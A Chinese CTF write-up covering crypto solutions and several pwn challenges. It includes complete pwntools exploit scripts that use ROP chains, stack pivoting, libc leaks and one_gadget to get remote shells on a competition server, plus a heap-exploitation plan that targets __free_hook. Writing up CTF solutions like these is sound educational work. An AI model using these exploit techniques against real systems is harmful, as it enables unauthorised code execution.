[天权信安&catf1ag] crypto,pwn部分

目录

Crypto

1,疑惑

2,easyrsa

3,passwd

pwn

checkin

easypwn

angr

chunk

stackoverflow


这种9小时比赛真不习惯,连睡会觉的时间都没有。

部分程序找不到了,大概意思先放上,然后回头再加

Crypto

1,疑惑

就是异或的意思

题目介绍:我好"疑惑"啊
keys1 = welcome_to_nine-ak_match_is_so_easy_!@!
keys2 = 20 4 24 5 94 12 2 36 26 6 49 11 68 15 14 114 12 10 43 14 9 43 10 27 31 31 22 45 10 48 58 4 18 10 38 31 14 97 92

异或一下就好

keys1 = 'welcome_to_nine-ak_match_is_so_easy_!@!'
keys2 = '20 4 24 5 94 12 2 36 26 6 49 11 68 15 14 114 12 10 43 14 9 43 10 27 31 31 22 45 10 48 58 4 18 10 38 31 14 97 92'
k2 = keys2.split(' ')
key = [int(k2[i])^ord(keys1[i]) for i in range(len(keys1))]
print(bytes(key))

2,easyrsa

给了d噢

from Crypto.Util.number import *
from flag import flag


def nextPrime(n):
    n += 2 if n & 1 else 1
    while not isPrime(n):
        n += 2
    return n

p = getPrime(1024)
q = nextPrime(p)
n = p * q
e = 0x10001
d = inverse(e, (p-1) * (q-1))
c = pow(bytes_to_long(flag.encode()), e, n)

#d= 12344766091434434733173074189627377553017680360356962089159282442350343171988536143126785315325155784049041041740294461592715296364871912847202681353107182427067350160760722505537695351060872358780516757652343767211907987297081728669843916949983336698385141593880433674937737932158161117039734886760063825649623992179585362400642056715249145349214196969590250787495038347519927017407204272334005860911299915001920451629055970214564924913446260348649062607855669069184216149660211811217616624622378241195643396616228441026080441013816066477785035557421235574948446455413760957154157952685181318232685147981777529010093
#c= 11665709552346194520404644475693304343544277312139717618599619856028953672850971126750357095315011211770308088484683204061365343120233905810281045824420833988717463919084545209896116273241788366262798828075566212041893949256528106615605492953529332060374278942243879658004499423676775019309335825331748319484916607746676069594715000075912334306124627379144493327297854542488373589404460931325101587726363963663368593838684601095345900109519178235587636259017532403848656471367893974805399463278536349688131608183835495334912159111202418065161491440462011639125641718883550113983387585871212805400726591849356527011578
#n= 13717871972706962868710917190864395318380380788726354755874864666298971471295805029284299459288616488109296891203921497014120460143184810218680538647923519587681857800257311678203773339140281665350877914208278709865995451845445601706352659259559793431372688075659019308448963678380545045143583181131530985665822655263963917413080872997526445384954610888776917323156325542921415838122754036103689148810677276471252057077595104724365967333418002158480223657363936976281758713027828747277980907153645847605403914070601944617432177385048803228970693240587900504431163155958465431312258451026447435473865563581029300541109

3,passwd

这个把我给难住了,比赛完后一想太简单。

题目描述:
	小cat是某公司的安全侦察人员,在2022年9月9日凌晨6点,
	小cat抓取到了几条疑似a人员和b人员交流的包,
	经过破译,大致意思是“在今年xx月xx日xx点xx分准时进行数据交易”,
	但是唯独不能完全破解出来,于是他发到公司的网络安全群寻求帮助:
	69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95
	(密文格式是:年份必须是4位数,月日时分必须是两位数,需要用0补齐,比如2022年01月01日01时01分)

难点在于它的这个提示,格式带汉字。用汉字爆破没成功,其实只用数字。flag没提示不知道对不对,但sha256的值肯定没问题。

c = '69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95'

import hashlib
for i in range(2022,2023):
    for j in range(9,13):
        for k in range(1,32):
            for l in range(0,24):
                for m in range(0,60):
                    #v = f"{i}年{j:02d}月{k:02d}日{l:02d}时{m:02d}分".encode()
                    v = f"{i}{j:02d}{k:02d}{l:02d}{m:02d}".encode()
                    #print(v)
                    s = hashlib.sha256()
                    s.update(v)
                    #print(s.hexdigest())
                    if s.hexdigest() == c:
                        print(v,i,j,k,l,m)
                        
#b'202211121750' 2022 11 12 17 50
#flag{202211121750}                    

pwn

checkin

登录题,长度判断时仅检查第1个字符不是负号,可以输入空格再输入负号绕过,有溢出就不必说啥了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr[32]; // [rsp+0h] [rbp-50h] BYREF
  char buf[44]; // [rsp+20h] [rbp-30h] BYREF
  size_t nbytes; // [rsp+4Ch] [rbp-4h]

  in1t();
  puts("name: ");
  read(0, buf, 0x10uLL);
  buf[16] = 0;
  puts("Please input size: ");
  read(0, nptr, 8uLL);
  if ( atoi(nptr) > 32 || nptr[0] == 45 )       // 检查第1个字符不能是负号,输入空格再输负号绕过
  {
    puts("No!!Hacker");
    exit(0);
  }
  LODWORD(nbytes) = atoi(nptr);
  read(0, nptr, (unsigned int)nbytes);
  return 0;
}

easypwn

这题本地成功,远程没成功,提示字符集错,返来改用one[0]成功

第1个函数里可以预存ROP

__int64 really_fight()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("[*] Give me something...");
  read(0, buf, 0x40uLL);
  one_kick();
  return before_before_punch();
}

第2个函数用负号绕过scanf,可以泄露一个地址,但第一次泄露的是ld的地址,需要先改变栈尝试再泄露

int one_kick()
{
  __int64 v1; // [rsp+0h] [rbp-10h] BYREF
  __int64 v2; // [rsp+8h] [rbp-8h] BYREF

  puts("[*] Your kick deals damage:");
  puts("   [1] damage:");
  __isoc99_scanf("%lld", &v1);
  getchar();
  puts("   [2] damage:");
  __isoc99_scanf("%lld", &v2);
  getchar();
  return printf("[*] Oops, %lld damage in total.. GOOD!\n", v1 + v2);
}

最后一个函数有溢出,仅覆盖到rbp+ret仅够移栈

ssize_t one_punch()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("[=][=][=] charging complete!");
  puts("-------->-------------->-----------------> ONE PUNCH ------------>");
  return read(0, buf, 0x20uLL);
}

思路:

第一步先预存puts(got.puts)然后移栈,由于PIE未开,可以找个大地址移。然后回到40130f使栈错位。

第二步用负号绕过scanf,泄露栈地址,并通过移完栈的预存puts得到libc,并把栈移回来

第三步发送one_gadget,这里直接用是不成功的,根据one的条件,先给r12,r15置0

最后虽然得到shell但shell有问题,应该是输入后边跟乱码,输入cat flag;加分号与后边的隔开。

from pwn import *

p = remote('180.76.166.28', 13000)
#p = process('./pwn2')
context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
libc_elf = ELF('./libc-2.31.so')

pop_rbp   = 0x00000000004011bd # pop rbp ; ret
pop_rdi   = 0x0000000000401413 # pop rdi ; ret
pop_rsi   = 0x0000000000401411 # pop rsi ; pop r15 ; ret
pop_r12r15 = 0x000000000040140c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
leave_ret = 0x000000000040120d # leave ; ret

#gdb.attach(p, "b*0x401300")
#pause()
#1,
pay1 = flat(pop_rdi+1, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['_start'])
p.sendafter(b"[*] Give me something...\n", pay1)
p.sendlineafter(b'   [1] damage:\n' , b'0')
p.sendlineafter(b'   [2] damage:\n' , b'-')  #stack
p.recvuntil(b'[*] Oops, ')
p.sendafter(b"ONE PUNCH ------------>\n", b'X'*0x10+ flat(0x404a00, 0x40130f))

#2,
p.sendafter(b"[*] Give me something...\n", b'/bin/sh\x00')
p.sendlineafter(b'   [1] damage:\n' , b'0')
p.sendlineafter(b'   [2] damage:\n' , b'-')  #stack
p.recvuntil(b'[*] Oops, ')
stack = int(p.recvuntil(b' damage', drop=True)) - 0x150
print('stack:', hex(stack))
p.sendafter(b"ONE PUNCH ------------>\n", b'X'*0x10+ flat(stack, leave_ret))

libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
bin_sh = next(libc_elf.search(b'/bin/sh\x00'))
one = [0xe6c7e, 0xe6c81, 0xe6c84]
print('libc:', hex(libc_base))

#gdb.attach(p, "b*0x40120d")

#3,
#pay1 = flat(0, pop_rdi+1, pop_rdi, bin_sh, libc_elf.sym['system'])
pay1 = flat(0, pop_r12r15,0,0,0,0,libc_base + one[0])

p.sendafter(b"[*] Give me something...\n", pay1)
p.sendlineafter(b'   [1] damage:\n' , b'0')
p.sendlineafter(b'   [2] damage:\n' , b'-')  #stack
p.recvuntil(b'[*] Oops, ')
p.sendafter(b"ONE PUNCH ------------>\n", b'X'*0x10+ flat(stack - 0x120, leave_ret))
#cat flag; 后部有乱字符需要用;隔开
p.interactive()

这个样子

[*] Switching to interactive mode
cat flag;
flag{186115dc-1130-4135-8507-cb52a8afd5db}[DEBUG] Received 0x14 bytes:
    b'sh: 1: \r'
    b': not found\n'
: not found

angr

这题唯一卡点就是后台很慢,你以为断了,其实是还没显示。3个菜单0login,2system(/bin/sh)直接输入即可。

int sub_804870E()
{
  int result; // eax
  char v1[16]; // [esp+Ch] [ebp-1Ch] BYREF
  int v2; // [esp+1Ch] [ebp-Ch]

  result = read_n();
  v2 = result;
  switch ( result )
  {
    case 1:
      puts("logging out...");                   // logout
      result = ~dword_804A06C;
      dword_804A06C = ~dword_804A06C;
      break;
    case 2:
      if ( dword_804A06C )
        return sub_80486F5();
      else
        return puts("please log in");
    case 0:
      puts("input your passwd:");               // login
      result = read_v((int)v1, 16);
      dword_804A06C = 1;
      break;
  }
  return result;
}

chunk

9小时赛,堆题居然下午才出来。不过这题比较简单,就是个负数绕过

int sub_12B8()
{
  __int64 v0; // rax
  int n; // [rsp+4h] [rbp-Ch]
  int v3; // [rsp+8h] [rbp-8h]
  int v4; // [rsp+Ch] [rbp-4h]

  puts("Source of chunk");
  puts("1. heap");
  puts("2. buffer");
  printf(">> ");
  n = read_n();
  LODWORD(v0) = get_chunk();
  v3 = v0;
  if ( n == 1 )
  {
    printf("Size:");
    v4 = read_n() + 48;
    *((_QWORD *)&qword_40A0 + v3) = malloc(v4);
    *(_QWORD *)(*((_QWORD *)&qword_40A0 + v3) + 8LL) = *((_QWORD *)&qword_40A0 + v3) + 48LL;
    **((_QWORD **)&qword_40A0 + v3) = v4;
    *(_QWORD *)(*((_QWORD *)&qword_40A0 + v3) + 16LL) = 0LL;
    *(_QWORD *)(*((_QWORD *)&qword_40A0 + v3) + 24LL) = 0LL;
    *(_QWORD *)(*((_QWORD *)&qword_40A0 + v3) + 32LL) = v3;
    v0 = *((_QWORD *)&qword_40A0 + v3);
    *(_BYTE *)(v0 + 40) = 1;
  }
  else if ( n == 2 )
  {
    if ( qword_4070 )
    {
      *((_QWORD *)&qword_40A0 + (int)v0) = qword_4060;
      qword_4060 = *(_QWORD *)(*((_QWORD *)&qword_40A0 + (int)v0) + 24LL);
      *(_QWORD *)(qword_4060 + 16) = *(_QWORD *)(*((_QWORD *)&qword_40A0 + (int)v0) + 16LL);
      if ( !--qword_4070 )
        qword_4068 = qword_4060;
      *(_QWORD *)(*((_QWORD *)&qword_40A0 + (int)v0) + 32LL) = (int)v0;
      v0 = *((_QWORD *)&qword_40A0 + (int)v0);
      *(_BYTE *)(v0 + 40) = 1;
    }
    else
    {
      LODWORD(v0) = puts("There's nothing in your buffer");
    }
  }
  return v0;
}

建的块结构:size,data_ptr,..., data 

edit读入数据里用size-48 ,这里建-1的块(实际长47)并不影响使用,但可以越界写。

int m5edit()
{
  int n; // [rsp+Ch] [rbp-14h]

  puts("Which chunk do you want to edit");
  printf("Index: ");
  n = read_n();
  if ( n <= 19 && qword_40A0[n] )
    return read(0, *(void **)(qword_40A0[n] + 8LL), (unsigned int)*(_QWORD *)qword_40A0[n] - 48);
  else
    return puts("There is no chunk");
}

思路:

建-1,-1,0x430,-1,释放430,clear进入unsort,edit0修改1的数据指针指向0x430,show得到libc地址,再修改1的数据指针为__free_hook,edit1写system,释放带/bin/sh的块。

stackoverflow

这个栈溢出费了不少时间。主要是移栈后由于name位置比较靠前,后边执行时栈空间不够(到只读区),需要二次移栈到大空间。

ssize_t vul()
{
  char buf[112]; // [rsp+0h] [rbp-70h] BYREF

  puts("input your name:");
  read(0, &name, 0x250uLL);
  puts("input your data:");
  return read(0, buf, 0x80uLL);
}

先存rop (puts(got_puts))+移栈(先弹rbp,直接从mov rax [rbp+buf]执行0x4006fc,利用后部的leave ret移到远远的)

然后得到libc后,写入ROP,移栈执行。

from pwn import *

p = remote('180.76.166.28', 40001)
#p = process('./overflow')

context(arch='amd64', log_level='debug')

elf = ELF('./overflow')
#libc_elf = ELF('./libc-2.23.so')
libc_elf = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')  #题目给的是2.23 远端是2.31

pop_rbp = 0x00000000004005d0 # pop rbp ; ret
pop_rdi = 0x00000000004007a3 # pop rdi ; ret
leave_ret = 0x0000000000400718 # leave ; ret
ret = pop_rdi+1
name = 0x6010a0

#gdb.attach(p, 'b*0x400718')

pay1 = b'\x00'*0x200 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rbp, 0x601f00, 0x4006fc) 
#最大的问题是移栈后 栈空间不够,在二次读前pop_rbp再次移栈到足够远
#0x4006fc:  lea     rax, [rbp+buf]  ;将数据读到新栈区,并利用尾部的leave ret 再次移栈
pay2 = b'\x00'*0x70 + flat(name+0x200-8, leave_ret)
p.sendafter(b"input your name:\n", pay1)
p.sendafter(b"input your data:\n", pay2)

libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
bin_sh = next(libc_elf.search(b'/bin/sh\x00'))
print('libc:', hex(libc_base))

pay3 = flat(0,pop_rdi+1, pop_rdi, bin_sh, libc_elf.sym['system']).ljust(0x70, b'\x00')+ flat(0x601e90, leave_ret)
p.send(pay3)

p.interactive()

题目给了libc但是不对。有一点点坑。

还有一个盲pwn不知道干啥。

你可能感兴趣的:(CTF,crypto,CTF,pwn,CTF)